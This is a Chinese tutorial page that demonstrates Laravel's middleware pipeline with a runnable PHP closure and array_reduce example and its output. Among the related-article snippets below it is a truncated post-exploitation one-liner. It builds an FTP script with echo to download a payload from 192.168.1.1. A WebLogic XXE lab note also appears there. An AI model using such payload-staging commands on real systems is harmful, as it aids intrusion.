例子:

<?php

interface Middleware{

  public static function handle (Closure $next);
}

class VerifyCsrfToken implements Middleware{

  public static function handle(Closure $next){

  echo "验证Csrf-Token"."<br/>";
  $next();
}
}
class ShareErrorsFromSession implements Middleware{

  public static function handle(Closure $next){

    echo "如果Session中有'errors'变量,则共享它"."<br/>";
    $next();
  }
}
class StartSession implements Middleware{

  public static function handle(Closure $next){

    echo "开启session,获取数据"."<br/>";
    $next();
    echo "保存数据,关闭session"."<br/>";
  }
}
class AddQueuedCookiesToResponse implements Middleware{

  public static function handle(Closure $next){

    $next();
    echo "添加下一次请求需要的cookie"."<br/>";
  }
}
class EncryptCookies implements Middleware{

  public static function handle(Closure $next){

    echo "对输入的cookies进行解密"."<br/>";
    $next();
    echo "对输出响应的cookie进行加密"."<br/>";
  }
}
class CheckForMaintenanceMode implements Middleware{

  public static function handle(Closure $next){
    echo "确定当前程序是否处于维护状态"."<br/>";
    $next();
  }
}

/*

*函数getSlice()中的"()"需要留意。

*使用"function getSlice())"时,在array_reduce()中需要用“array($a,getSlice(),$b)”。

*使用"function getSlice"时,在array_reduce()中需要用“array($a,"getSlice",$b)”。

*具体情况可以参考《Laravel框架关键技术解析---高清版.pdf》中“请求处理管道”一章

*/

function getSlice(){
  return function($stack,$pipe){

    return function() use ($stack,$pipe){

      return $pipe::handle($stack);
    };
  };
}

function then(){

  $pipes = [
    "CheckForMaintenanceMode",
    "EncryptCookies",
    "AddQueuedCookiesToResponse",
    "StartSession",
    "ShareErrorsFromSession",
    "VerifyCsrfToken"
  ];
  $firstSlice = function(){
    echo "请求向路由传递,返回响应"."<br/>";
  };
  $pipes = array_reverse($pipes); //把数组里的顺序颠倒一下,头变尾,尾变头
  call_user_func(
    array_reduce($pipes, getSlice(),$firstSlice)  //把$pipes传入getSlice()里的$pipe,$firstSlice传入getSlice()里的$stack。且$firstSlice只传一次,$pipes数组每次传一个值,从尾部开始传,直到传完所有制为止。
  );
}

then();

输出结果:

确定当前程序是否处于维护状态
对输入的cookies进行解密
开启session,获取数据
如果Session中有'errors'变量,则共享它
验证Csrf-Token
请求向路由传递,返回响应
保存数据,关闭session
添加下一次请求需要的cookie
对输出响应的cookie进行加密

laravel请求处理管道例子的更多相关文章

  1. php laravel请求处理管道(装饰者模式)

    laravel的中间件使用了装饰者模式.比如,验证维护模式,cookie加密,开启会话等等.这些处理有些在响应前,有些在响应之后,使用装饰者模式动态减少或增加功能,使得框架可扩展性大大增强. 接下来简 ...

  2. Laravel 5.3 请求处理管道详解

    对于一个Web应用来说,在一个请求真正处理前,我们可能会对请求做各种各样的判断,然后才允许后续处理. 我们通常的做法: Script 01.php Script 02.php 优点:直观,容易理解 缺 ...

  3. 学习ASP.NET Core,怎能不了解请求处理管道[1]: 中间件究竟是个什么东西?

    ASP.NET Core管道虽然在结构组成上显得非常简单,但是在具体实现上却涉及到太多的对象,所以我们在 "通过重建Hosting系统理解HTTP请求在ASP.NET Core管道中的处理流 ...

  4. ASP.NET MVC请求处理管道生命周期的19个关键环节(1-6)

    ASP.NET和ASP.NET MVC的HttpApplication请求处理管道有共同的部分和不同之处,本系列将体验ASP.NET MVC请求处理管道生命周期的19个关键环节. ①以IIS6.0为例 ...

  5. ASP.NET MVC请求处理管道生命周期的19个关键环节(7-12)

    在上一篇"ASP.NET MVC请求处理管道生命周期的19个关键环节(1-6) ",体验了1-6关键环节,本篇继续. ⑦根据IsapiWorkerRequest对象,HttpRun ...

  6. ASP.NET MVC请求处理管道生命周期的19个关键环节(13-19)

    在上一篇"ASP.NET MVC请求处理管道生命周期的19个关键环节(7-12) ",体验了7-12关键环节,本篇继续. ⒀当请求到达UrlRoutingModule的时候,Url ...

  7. 学习ASP.NET Core, 怎能不了解请求处理管道[6]: 管道是如何随着WebHost的开启被构建出来的?

    注册的服务器和中间件共同构成了ASP.NET Core用于处理请求的管道, 这样一个管道是在我们启动作为应用宿主的WebHost时构建出来的.要深刻了解这个管道是如何被构建出来的,我们就必须对WebH ...

  8. 学习ASP.NET Core, 怎能不了解请求处理管道[5]: 中间件注册可以除了可以使用Startup之外,还可以选择StartupFilter

    中间件的注册除了可以借助Startup对象(DelegateStartup或者ConventionBasedStartup)来完成之外,也可以利用另一个叫做StartupFilter的对象来实现.所谓 ...

  9. PowerShell管道入门,看看你都会不(管道例子大全)

    PowerShell的一个重中之重的功能就是管道(pipeline),本文从浅入深,一步一步详解管道的使用方法和例子,来看看有没有你所不知道的吧,如果全知道,恭喜你已经很厉害啦--适用于所有Power ...

随机推荐

  1. Flink开发-IDEA scala开发环境搭建

    现在大数据相关服务,越来越倾向于使用scala语言,scala函数式编程的优势我不多赘述.最明显的一个优点,代码简洁.看个WordCount实现对比: Java版WordCount Execution ...

  2. leetcode-159周赛-5231-删除子文件夹

    题目描述: 自己的提交: class Solution: def removeSubfolders(self, folder: List[str]) -> List[str]: d = {} r ...

  3. delphi 单元 MSHTML 之Ihtmldocument2

    delphi : Ihtmldocument2接口的利用 MSHTML是微软公司的一个COM组件,该组件封装了HTML语言中的所有元素及其属性,穿越其供给的规范接口,能够访问指定网页的所有元素. MS ...

  4. 一句话下载总结(用于后渗透上传payload)

    利用ftp来下载payload文件 echo open 192.168.1.1 21> ftp.txt echo ftp>> ftp.txt echo bin >> ft ...

  5. NX二次开发-NXOpen::WCS Class Reference

    NX11+VS2013 #include <NXOpen/Part.hxx> #include <NXOpen/PartCollection.hxx> #include < ...

  6. Python 利用微信端口查看列车时刻表

    import requests """ 该程序查看列车时刻 """ url0 = 'http://www.webxml.com.cn/Web ...

  7. error C2443: operand size conflict

    #include <stdio.h> void main() { int a=98; __asm {     mov al,a     and al,11011111B     mov a ...

  8. ionic:temple

    ylbtech-ionic:temple 1.返回顶部   2.返回顶部   3.返回顶部   4.返回顶部   5.返回顶部     6.返回顶部   作者:ylbtech出处:http://ylb ...

  9. 基于Netty的RPC架构学习笔记(六):netty5案例学习

    文章目录 netty5服务端入门案例 netty5客户端入门案例 单客户端多连接程序 知识普及 线程池原理图 对象池原理图 对象组原理图 结论 理论结合实际 开干开干 总结 netty5服务端入门案例 ...

  10. CVE-2018-3246 weblogic xxe

    使用P牛2018-2894的容器 http://192.168.245.130:7001/ws_utc/begin.do 导入测试用例 上传时抓取数据包 POST /ws_utc/resources/ ...